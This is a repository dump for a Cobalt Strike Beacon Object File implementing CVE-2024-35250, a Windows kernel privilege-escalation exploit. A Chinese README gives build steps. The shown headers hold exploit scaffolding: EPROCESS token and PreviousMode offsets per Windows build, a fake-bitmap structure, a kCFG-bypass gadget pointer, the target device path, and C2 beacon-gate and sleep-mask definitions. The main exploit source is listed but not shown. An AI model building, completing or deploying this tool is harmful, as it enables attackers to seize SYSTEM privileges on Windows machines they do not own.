├── assets
└── bof.png
├── CVE-2024-35250-BOF
├── packages.config
├── base
│ ├── helpers.h
│ ├── mock_syscalls.cpp
│ ├── mock.h
│ └── mock.cpp
├── Makefile
├── sleepmask.h
├── CVE-2024-35250-BOF.vcxproj.filters
├── beacon_gate.h
├── bofdefs.h
├── common.h
├── CVE-2024-35250-BOF.vcxproj
├── beacon.h
└── CVE-2024-35250-BOF.cpp
├── README.md
├── CVE-2024-35250-BOF.sln
├── .gitignore
└── LICENSE
/assets/bof.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yinsel/CVE-2024-35250-BOF/HEAD/assets/bof.png
--------------------------------------------------------------------------------
/CVE-2024-35250-BOF/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2024-35250-BOF
2 |
3 | CVE-2024-35250 的 Beacon Object File (BOF) 实现。
4 |
5 | 
6 |
7 | ## 构建
8 |
9 | 项目模板来自[bof-vs](https://github.com/Cobalt-Strike/bof-vs)。
10 |
11 | 使用 Visual Studio 2019/2022 的 Release 配置进行编译。
12 |
13 | ## 鸣谢
14 |
15 | https://github.com/varwara/CVE-2024-35250
16 |
--------------------------------------------------------------------------------
/CVE-2024-35250-BOF/base/helpers.h:
--------------------------------------------------------------------------------
1 | #ifdef __cplusplus
2 | #ifndef _DEBUG
3 | #define DFR(module, function) \
4 | DECLSPEC_IMPORT decltype(function) module##$##function;
5 |
6 | #define DFR_LOCAL(module, function) \
7 | DECLSPEC_IMPORT decltype(function) module##$##function; \
8 | decltype(module##$##function) *##function = module##$##function;
9 | #else
10 | #define DFR_LOCAL(module, function)
11 | #define DFR(module, function) \
12 | decltype(function) *module##$##function = function;
13 | #endif // end of _DEBUG
14 | #endif // end of __cplusplus
--------------------------------------------------------------------------------
/CVE-2024-35250-BOF/Makefile:
--------------------------------------------------------------------------------
1 | CFLAGS=/c /GS- /std:c++20
2 | DEBUGCFLAGS=/Zi /MTd /D_DEBUG /EHsc /std:c++20
3 |
4 | !IF "$(PROCESSOR_ARCHITECTURE)" != "x86" && "$(PROCESSOR_ARCHITECTURE)" != "AMD64"
5 | !ERROR Only x86 and AMD64 architectures are supported or the PROCESSOR_ARCHITECTURE environment variable is not set.
6 | !ELSEIF "$(PROCESSOR_ARCHITECTURE)" == "AMD64"
7 | OUTDIR=..\x64\Release\
8 | IMDIR=x64\Release\
9 | DOUTDIR=..\x64\Debug\
10 | DIMDIR=x64\Debug\
11 | OUTEXT=.x64.o
12 | !ELSE
13 | OUTDIR=..\Release\
14 | IMDIR=Release\
15 | DIMDIR=Debug\
16 | DOUTDIR=..\Debug\
17 | OUTEXT=.x86.o
18 | !ENDIF
19 |
20 | all: *.cpp
21 | @$(MAKE) $(patsubst %.c,%.obj, $(patsubst %.cpp, %.obj, $(patsubsti %, $(IMDIR)\%, $**)))
22 | @if not exist "$(OUTDIR)" mkdir "$(OUTDIR)"
23 | copy "$(IMDIR)\*.obj" "$(OUTDIR)"
24 | del /F "$(OUTDIR)\*$(OUTEXT)"
25 | ren "$(OUTDIR)*.obj" "*$(OUTEXT)"
26 |
27 | all-debug: *.cpp
28 | @$(MAKE) $(patsubst %.c,%.exe, $(patsubst %.cpp, %.exe, $(patsubsti %, $(DOUTDIR)\%, $**)))
29 |
30 | .cpp{$(IMDIR)}.obj:
31 | @if not exist "$(IMDIR)" mkdir "$(IMDIR)"
32 | $(CPP) $(CFLAGS) /Fo"$@" $<
33 |
34 | .cpp{$(DOUTDIR)}.exe:
35 | @if not exist "$(DIMDIR)" mkdir "$(DIMDIR)"
36 | @if not exist "$(DOUTDIR)" mkdir "$(DOUTDIR)"
37 | $(CPP) $(DEBUGCFLAGS) /Fo$(DIMDIR) /Fd$(DIMDIR) /Fe"$@" $< base/mock.cpp
38 |
39 | clean:
40 | @if exist "$(DIMDIR)" rmdir /Q /S "$(DIMDIR)"
41 | @if exist "$(IMDIR)" rmdir /Q /S "$(IMDIR)"
42 | @if exist "$(OUTDIR)" rmdir /Q /S "$(OUTDIR)"
43 | @if exist "$(DOUTDIR)" rmdir /Q /S "$(DOUTDIR)"
44 |
--------------------------------------------------------------------------------
/CVE-2024-35250-BOF/sleepmask.h:
--------------------------------------------------------------------------------
1 | #ifndef _SLEEPMASK_H_
2 | #define _SLEEPMASK_H_
3 |
4 | #include
5 | #include "beacon.h"
6 | #include "beacon_gate.h"
7 |
8 | /* Define the supported action types for the pivot beacons */
9 | typedef enum _PIVOT_ACTION {
10 | ACTION_UNKNOWN,
11 | ACTION_TCP_RECV,
12 | ACTION_TCP_ACCEPT,
13 | ACTION_PIPE_WAIT,
14 | ACTION_PIPE_PEEK
15 | } PIVOT_ACTION;
16 |
17 | /*
18 | * action - defines which ACTION_ type to use in the pivot_sleep
19 | * in - defines the in socket for the ACTION_TCP_ types
20 | * out - defines the out socket for the ACTION_TCP_ types
21 | * pipe - defines the pipe for the ACTION_PIPE_ types
22 | */
23 | typedef struct _PIVOT_ARGS {
24 | PIVOT_ACTION action;
25 | SOCKET in;
26 | SOCKET out;
27 | HANDLE pipe;
28 | } PIVOT_ARGS, * PPIVOT_ARGS;
29 |
30 | typedef enum _REASON_FOR_CALL {
31 | DEFAULT_SLEEP,
32 | PIVOT_SLEEP,
33 | BEACON_GATE
34 | } REASON_FOR_CALL;
35 |
36 | /*
37 | * version - version of the structure. format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
38 | * reason - reason for the call (default sleep, pivot sleep, beacon gate)
39 | * sleep_time - the time to sleep in milliseconds
40 | * beacon_info - the BEACON_INFO structure
41 | * pivot_args - the PIVOT_ARGS structure
42 | */
43 | typedef struct _SLEEPMASK_INFO {
44 | unsigned int version;
45 | REASON_FOR_CALL reason;
46 | DWORD sleep_time;
47 | BEACON_INFO beacon_info;
48 | PIVOT_ARGS pivot_args;
49 | } SLEEPMASK_INFO, * PSLEEPMASK_INFO;
50 |
51 | typedef void(* SLEEPMASK_FUNC)(PSLEEPMASK_INFO, PFUNCTION_CALL);
52 | #endif // _SLEEPMASK_H_
53 |
--------------------------------------------------------------------------------
/CVE-2024-35250-BOF.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.5.33414.496
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2024-35250-BOF", "CVE-2024-35250-BOF\CVE-2024-35250-BOF.vcxproj", "{58EBEE7C-B0CF-49E3-AE82-E60750C03613}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | UnitTest|x64 = UnitTest|x64
15 | UnitTest|x86 = UnitTest|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Debug|x64.ActiveCfg = Debug|x64
19 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Debug|x64.Build.0 = Debug|x64
20 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Debug|x86.ActiveCfg = Debug|Win32
21 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Debug|x86.Build.0 = Debug|Win32
22 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Release|x64.ActiveCfg = Release|x64
23 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Release|x64.Build.0 = Release|x64
24 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Release|x86.ActiveCfg = Release|Win32
25 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Release|x86.Build.0 = Release|Win32
26 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.UnitTest|x64.ActiveCfg = UnitTest|x64
27 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.UnitTest|x64.Build.0 = UnitTest|x64
28 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.UnitTest|x86.ActiveCfg = UnitTest|Win32
29 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.UnitTest|x86.Build.0 = UnitTest|Win32
30 | EndGlobalSection
31 | GlobalSection(SolutionProperties) = preSolution
32 | HideSolutionNode = FALSE
33 | EndGlobalSection
34 | GlobalSection(ExtensibilityGlobals) = postSolution
35 | SolutionGuid = {05614438-CD94-4CA7-899A-327C067C1C3B}
36 | EndGlobalSection
37 | EndGlobal
38 |
--------------------------------------------------------------------------------
/CVE-2024-35250-BOF/CVE-2024-35250-BOF.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {b74d73f4-acc9-410d-a627-90481555d13a}
18 |
19 |
20 | {8fa0224c-f4ab-4998-991b-bf2b56db2848}
21 |
22 |
23 |
24 |
25 | Source Files\base
26 |
27 |
28 | Source Files\base
29 |
30 |
31 | Source Files
32 |
33 |
34 |
35 |
36 | Header Files
37 |
38 |
39 | Header Files\base
40 |
41 |
42 | Header Files\base
43 |
44 |
45 | Header Files
46 |
47 |
48 | Header Files
49 |
50 |
51 | Header Files
52 |
53 |
54 | Header Files
55 |
56 |
57 |
58 |
59 |
60 |
61 |
--------------------------------------------------------------------------------
/CVE-2024-35250-BOF/beacon_gate.h:
--------------------------------------------------------------------------------
1 | #ifndef _BEACON_GATE_H
2 | #define _BEACON_GATE_H
3 | #include
4 |
5 | /* Beacon gate defines. */
6 | #define MAX_BEACON_GATE_ARGUMENTS 10
7 | #define beaconGate(i) ((BEACON_GATE_##i)gateFunction->functionPtr)
8 | #define arg(i) (ULONG_PTR)gateFunction->args[i]
9 |
10 | /* Enum to specify what WinAPI is being called. */
11 | typedef enum _WinApi {
12 | INTERNETOPENA,
13 | INTERNETCONNECTA,
14 | VIRTUALALLOC,
15 | VIRTUALALLOCEX,
16 | VIRTUALPROTECT,
17 | VIRTUALPROTECTEX,
18 | VIRTUALFREE,
19 | GETTHREADCONTEXT,
20 | SETTHREADCONTEXT,
21 | RESUMETHREAD,
22 | CREATETHREAD,
23 | CREATEREMOTETHREAD,
24 | OPENPROCESS,
25 | OPENTHREAD,
26 | CLOSEHANDLE,
27 | CREATEFILEMAPPING,
28 | MAPVIEWOFFILE,
29 | UNMAPVIEWOFFILE,
30 | VIRTUALQUERY,
31 | DUPLICATEHANDLE,
32 | READPROCESSMEMORY,
33 | WRITEPROCESSMEMORY,
34 | EXITTHREAD,
35 | } WinApi;
36 |
37 | /**
38 | * FUNCTION_CALL struct which encapsulates atomic function call.
39 | *
40 | * functionPtr - target function to call
41 | * function - Enum representing target WinApi
42 | * numOfArgs - number of arguments
43 | * args - array of ULONG_PTRs containing the passed arguments (e.g. rcx, rdx, ...)
44 | * bMask - BOOL indicating whether Beacon should be masked during the call
45 | * ULONG_PTR - retValue of the atomic function call
46 | */
47 | typedef struct {
48 | PVOID functionPtr;
49 | WinApi function;
50 | int numOfArgs;
51 | ULONG_PTR args[MAX_BEACON_GATE_ARGUMENTS];
52 | BOOL bMask;
53 | ULONG_PTR retValue;
54 | } FUNCTION_CALL, * PFUNCTION_CALL;
55 |
56 | /* Currently support max 10 arguments. */
57 | /* NB For x86 we only support std call convention as this is what Windows uses for most Win32 APIs. */
58 | typedef ULONG_PTR(__stdcall* BEACON_GATE_00)(VOID);
59 | typedef ULONG_PTR(__stdcall* BEACON_GATE_01)(ULONG_PTR);
60 | typedef ULONG_PTR(__stdcall* BEACON_GATE_02)(ULONG_PTR, ULONG_PTR);
61 | typedef ULONG_PTR(__stdcall* BEACON_GATE_03)(ULONG_PTR, ULONG_PTR, ULONG_PTR);
62 | typedef ULONG_PTR(__stdcall* BEACON_GATE_04)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
63 | typedef ULONG_PTR(__stdcall* BEACON_GATE_05)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
64 | typedef ULONG_PTR(__stdcall* BEACON_GATE_06)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
65 | typedef ULONG_PTR(__stdcall* BEACON_GATE_07)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
66 | typedef ULONG_PTR(__stdcall* BEACON_GATE_08)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
67 | typedef ULONG_PTR(__stdcall* BEACON_GATE_09)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
68 | typedef ULONG_PTR(__stdcall* BEACON_GATE_10)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
69 | #endif // _BEACON_GATE_H
70 |
--------------------------------------------------------------------------------
/CVE-2024-35250-BOF/bofdefs.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include
5 |
6 | #define BOF
7 |
8 | #pragma region error_handling
9 | #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
10 | BOOL _print_error(const char* func, int line, const char* msg, HRESULT hr) {
11 | #ifdef BOF
12 | BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
13 | #else
14 | printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
15 | #endif // BOF
16 |
17 | return FALSE;
18 | }
19 | #pragma endregion
20 |
21 | #ifdef BOF
22 | #define print_info(msg, ...) BeaconPrintf(CALLBACK_OUTPUT, msg, ##__VA_ARGS__);
23 | #else
24 | #define print_info(msg, ...) printf(msg, ##__VA_ARGS__);
25 | #endif // BOF
26 |
27 |
28 | // KERNEL32
29 | DFR(KERNEL32, LoadLibraryA)
30 | #define LoadLibraryA KERNEL32$LoadLibraryA
31 |
32 | DFR(KERNEL32, VirtualFree)
33 | #define VirtualFree KERNEL32$VirtualFree
34 |
35 | DFR(KERNEL32, HeapReAlloc)
36 | #define HeapReAlloc KERNEL32$HeapReAlloc
37 |
38 | DFR(KERNEL32, GetProcessHeap)
39 | #define GetProcessHeap KERNEL32$GetProcessHeap
40 |
41 | DFR(KERNEL32, ExitThread)
42 | #define ExitThread KERNEL32$ExitThread
43 |
44 | DFR(KERNEL32, HeapAlloc)
45 | #define HeapAlloc KERNEL32$HeapAlloc
46 |
47 | DFR(KERNEL32, HeapFree)
48 | #define HeapFree KERNEL32$HeapFree
49 |
50 | DFR(KERNEL32, VirtualAlloc)
51 | #define VirtualAlloc KERNEL32$VirtualAlloc
52 |
53 | DFR(KERNEL32, GetLastError)
54 | #define GetLastError KERNEL32$GetLastError
55 |
56 | DFR(KERNEL32, LoadLibraryExW)
57 | #define LoadLibraryExW KERNEL32$LoadLibraryExW
58 |
59 | DFR(KERNEL32, GetProcAddress)
60 | #define GetProcAddress KERNEL32$GetProcAddress
61 |
62 | DFR(KERNEL32, GetCurrentProcess)
63 | #define GetCurrentProcess KERNEL32$GetCurrentProcess
64 |
65 | DFR(KERNEL32, InitializeProcThreadAttributeList)
66 | #define InitializeProcThreadAttributeList KERNEL32$InitializeProcThreadAttributeList
67 |
68 | DFR(KERNEL32, UpdateProcThreadAttribute)
69 | #define UpdateProcThreadAttribute KERNEL32$UpdateProcThreadAttribute
70 |
71 | DFR(KERNEL32, CreateProcessA)
72 | #define CreateProcessA KERNEL32$CreateProcessA
73 |
74 | DFR(KERNEL32, CreateToolhelp32Snapshot)
75 | #define CreateToolhelp32Snapshot KERNEL32$CreateToolhelp32Snapshot
76 |
77 | DFR(KERNEL32, Process32First)
78 | #define Process32First KERNEL32$Process32First
79 |
80 | DFR(KERNEL32, Process32Next)
81 | #define Process32Next KERNEL32$Process32Next
82 |
83 | DFR(KERNEL32, CloseHandle)
84 | #define CloseHandle KERNEL32$CloseHandle
85 |
86 | DFR(KERNEL32, DeviceIoControl)
87 | #define DeviceIoControl KERNEL32$DeviceIoControl
88 |
89 | DFR(KERNEL32, OpenProcess)
90 | #define OpenProcess KERNEL32$OpenProcess
91 |
92 | DFR(KERNEL32, OpenThread)
93 | #define OpenThread KERNEL32$OpenThread
94 |
95 | DFR(KERNEL32, GetCurrentThreadId)
96 | #define GetCurrentThreadId KERNEL32$GetCurrentThreadId
97 |
98 | DFR(KERNEL32, GetCurrentProcessId)
99 | #define GetCurrentProcessId KERNEL32$GetCurrentProcessId
100 |
101 | // NTDLL
102 | DFR(NTDLL, NtQuerySystemInformation)
103 | #define NtQuerySystemInformation NTDLL$NtQuerySystemInformation
104 |
105 | DFR(NTDLL, NtWriteVirtualMemory)
106 | #define NtWriteVirtualMemory NTDLL$NtWriteVirtualMemory
107 |
108 | // OLE32
109 | DFR(OLE32, IIDFromString)
110 | #define IIDFromString OLE32$IIDFromString
111 |
112 | // MSVCRT
113 | DFR(MSVCRT, printf)
114 | #define printf MSVCRT$printf
115 |
116 | DFR(MSVCRT, memset)
117 | #define memset MSVCRT$memset
118 |
119 | DFR(MSVCRT, wcscmp)
120 | #define wcscmp MSVCRT$wcscmp
121 |
122 | DFR(MSVCRT, system)
123 | #define system MSVCRT$system
124 |
125 | //ADVAPI32
126 | DFR(ADVAPI32, OpenProcessToken)
127 | #define OpenProcessToken ADVAPI32$OpenProcessToken
128 |
129 | //Shlwapi
130 | DFR(Shlwapi, StrStrA)
131 | #define StrStrA Shlwapi$StrStrA
--------------------------------------------------------------------------------
/CVE-2024-35250-BOF/common.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
4 | #define EPROCESS_TOKEN_OFFSET 0x4B8
5 | #define KTHREAD_PREVIOUS_MODE_OFFSET 0x232
6 | #define EPROCESS_SECURE_STATE_OFFSET 0x3E0
7 | #define SEP_TOKEN_PRIVILEGE_OFFSET 0x40
8 | #define SystemHandleInformation 0x10
9 | #define SystemModuleInformation 11
10 | #define SystemHandleInformationSize 0x400000
11 |
12 | enum _MODE
13 | {
14 | KernelMode = 0,
15 | UserMode = 1
16 | };
17 |
18 | typedef struct SYSTEM_MODULE {
19 | ULONG Reserved1;
20 | ULONG Reserved2;
21 | #ifdef _WIN64
22 | ULONG Reserved3;
23 | #endif
24 | PVOID ImageBaseAddress;
25 | ULONG ImageSize;
26 | ULONG Flags;
27 | WORD Id;
28 | WORD Rank;
29 | WORD w018;
30 | WORD NameOffset;
31 | CHAR Name[255];
32 | }SYSTEM_MODULE, * PSYSTEM_MODULE;
33 |
34 | typedef struct SYSTEM_MODULE_INFORMATION {
35 | ULONG ModulesCount;
36 | SYSTEM_MODULE Modules[1];
37 | } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
38 |
39 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
40 | {
41 | USHORT UniqueProcessId;
42 | USHORT CreatorBackTraceIndex;
43 | UCHAR ObjectTypeIndex;
44 | UCHAR HandleAttributes;
45 | USHORT HandleValue;
46 | PVOID Object;
47 | ULONG GrantedAccess;
48 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
49 |
50 | typedef struct _SYSTEM_HANDLE_INFORMATION
51 | {
52 | ULONG NumberOfHandles;
53 | SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
54 | } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
55 |
56 | void * ULongLongToPtr64( const unsigned long long ull )
57 | {
58 | return( (void *)(ULONG_PTR)ull );
59 | }
60 |
61 | //
62 | // Declare some functions from ntdll.dll
63 | //
64 | extern "C"
65 | {
66 | NTSTATUS RtlGUIDFromString(PUNICODE_STRING GuidString, GUID* Guid);
67 |
68 | NTSTATUS RtlStringFromGUID(REFGUID Guid, PUNICODE_STRING GuidString);
69 |
70 | NTSTATUS NtImpersonateThread(HANDLE ThreadHandle, HANDLE ThreadToImpersonate, SECURITY_QUALITY_OF_SERVICE* SecurityQualityOfService);
71 |
72 | NTSTATUS NtWriteVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL );
73 | }
74 |
75 |
76 | #define DRM_DEVICE_OBJECT L"\\\\?\\root#system#0000#{ffbb6e3f-ccfe-4d84-90d9-421418b03a8e}\\{eec12db6-ad9c-4168-8658-b03daef417fe}&{abd61e00-9350-47e2-a632-4438b90c6641}"
77 |
78 | //DEFINE_GUIDSTRUCT("3C0D501A-140B-11D1-B40F-00A0C9223196", KSNAME_Server);
79 | //#define KSNAME_Server DEFINE_GUIDNAMED(KSNAME_Server)
80 |
81 | //DEFINE_GUIDSTRUCT("3C0D501B-140B-11D1-B40F-00A0C9223196", KSPROPSETID_Service);
82 | //#define KSPROPSETID_Service DEFINE_GUIDNAMED(KSPROPSETID_Service)
83 |
84 | //
85 | // Declare data structures related to the exploit
86 | //
87 | typedef struct _RTL_BITMAP
88 | {
89 | DWORD SizeOfBitMap;
90 | PVOID Buffer;
91 | }RTL_BITMAP, *PRTL_BITMAP;
92 |
93 | #pragma pack(1)
94 | typedef struct _EXPLOIT_DATA1
95 | {
96 | PRTL_BITMAP FakeBitmap;
97 | }EXPLOIT_DATA1;
98 |
99 | typedef struct _EXPLOIT_DATA2
100 | {
101 | char pad[0x20];
102 | PVOID ptr_ArbitraryFunCall; // kCFG bypass gadget function, for example RtlSetAllBits
103 | } EXPLOIT_DATA2;
104 |
105 |
106 |
107 | //
108 | // Kernel object offsets for different Windows versions to maintain exploit
109 | // compatibility
110 | //
111 | enum EPROCESS_TOKEN_OFFSETS
112 | {
113 | EPROCESS_TOKEN_WIN_SERVER2012_62_9200 = 0x348,
114 | EPROCESS_TOKEN_WIN_10_1507_10240 = 0x358,
115 | EPROCESS_TOKEN_WIN_10_1903_18362 = 0x360,
116 | EPROCESS_TOKEN_WIN_10_2004_19041 = 0x4b8,
117 | EPROCESS_TOKEN_WIN_10_20H2_19042 = 0x4b8,
118 | EPROCESS_TOKEN_WIN_11_22H2_22621 = 0x4b8,
119 | };
120 |
121 | enum KTHREAD_PREVIOUS_MODE_OFFSETS
122 | {
123 | PREV_MODE_WIN_SERVER2012_62_9200 = 0x232,
124 | PREV_MODE_WIN_10_20H2_19042 = 0x232,
125 | PREV_MODE_WIN_11_22H2_22621 = 0x232,
126 | };
127 |
128 | enum TOKEN_PRIVILEGES_OFFSET
129 | {
130 | TOKEN_PRIV_WIN_10_1507_10240 = 0x40,
131 | TOKEN_PRIV_WIN_11_22H2_22621 = 0x40,
132 | TOKEN_PRIV_WIN_11_23H2_22631 = 0x40,
133 | };
134 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Ll]og/
33 | [Ll]ogs/
34 |
35 | # Visual Studio 2015/2017 cache/options directory
36 | .vs/
37 | # Uncomment if you have tasks that create the project's static files in wwwroot
38 | #wwwroot/
39 |
40 | # Visual Studio 2017 auto generated files
41 | Generated\ Files/
42 |
43 | # MSTest test Results
44 | [Tt]est[Rr]esult*/
45 | [Bb]uild[Ll]og.*
46 |
47 | # NUnit
48 | *.VisualState.xml
49 | TestResult.xml
50 | nunit-*.xml
51 |
52 | # Build Results of an ATL Project
53 | [Dd]ebugPS/
54 | [Rr]eleasePS/
55 | dlldata.c
56 |
57 | # Benchmark Results
58 | BenchmarkDotNet.Artifacts/
59 |
60 | # .NET Core
61 | project.lock.json
62 | project.fragment.lock.json
63 | artifacts/
64 |
65 | # ASP.NET Scaffolding
66 | ScaffoldingReadMe.txt
67 |
68 | # StyleCop
69 | StyleCopReport.xml
70 |
71 | # Files built by Visual Studio
72 | *_i.c
73 | *_p.c
74 | *_h.h
75 | *.ilk
76 | *.meta
77 | *.obj
78 | *.iobj
79 | *.pch
80 | *.pdb
81 | *.ipdb
82 | *.pgc
83 | *.pgd
84 | *.rsp
85 | *.sbr
86 | *.tlb
87 | *.tli
88 | *.tlh
89 | *.tmp
90 | *.tmp_proj
91 | *_wpftmp.csproj
92 | *.log
93 | *.tlog
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*.json
147 | coverage*.xml
148 | coverage*.info
149 |
150 | # Visual Studio code coverage results
151 | *.coverage
152 | *.coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_*
156 | .*crunch*.local.xml
157 | nCrunchTemp_*
158 |
159 | # MightyMoose
160 | *.mm.*
161 | AutoTest.Net/
162 |
163 | # Web workbench (sass)
164 | .sass-cache/
165 |
166 | # Installshield output folder
167 | [Ee]xpress/
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProject/buildhelp/
171 | DocProject/Help/*.HxT
172 | DocProject/Help/*.HxC
173 | DocProject/Help/*.hhc
174 | DocProject/Help/*.hhk
175 | DocProject/Help/*.hhp
176 | DocProject/Help/Html2
177 | DocProject/Help/html
178 |
179 | # Click-Once directory
180 | publish/
181 |
182 | # Publish Web Output
183 | *.[Pp]ublish.xml
184 | *.azurePubxml
185 | # Note: Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | *.pubxml
188 | *.publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts/
194 |
195 | # NuGet Packages
196 | *.nupkg
197 | # NuGet Symbol Packages
198 | *.snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | **/[Pp]ackages/*
201 | # except build/, which is used as an MSBuild target.
202 | !**/[Pp]ackages/build/
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #!**/[Pp]ackages/repositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | *.nuget.props
207 | *.nuget.targets
208 |
209 | # Microsoft Azure Build Output
210 | csx/
211 | *.build.csdef
212 |
213 | # Microsoft Azure Emulator
214 | ecf/
215 | rcf/
216 |
217 | # Windows Store app package directories and files
218 | AppPackages/
219 | BundleArtifacts/
220 | Package.StoreAssociation.xml
221 | _pkginfo.txt
222 | *.appx
223 | *.appxbundle
224 | *.appxupload
225 |
226 | # Visual Studio cache files
227 | # files ending in .cache can be ignored
228 | *.[Cc]ache
229 | # but keep track of directories ending in .cache
230 | !?*.[Cc]ache/
231 |
232 | # Others
233 | ClientBin/
234 | ~$*
235 | *~
236 | *.dbmdl
237 | *.dbproj.schemaview
238 | *.jfm
239 | *.pfx
240 | *.publishsettings
241 | orleans.codegen.cs
242 |
243 | # Including strong name files can present a security risk
244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
245 | #*.snk
246 |
247 | # Since there are multiple workflows, uncomment next line to ignore bower_components
248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
249 | #bower_components/
250 |
251 | # RIA/Silverlight projects
252 | Generated_Code/
253 |
254 | # Backup & report files from converting an old project file
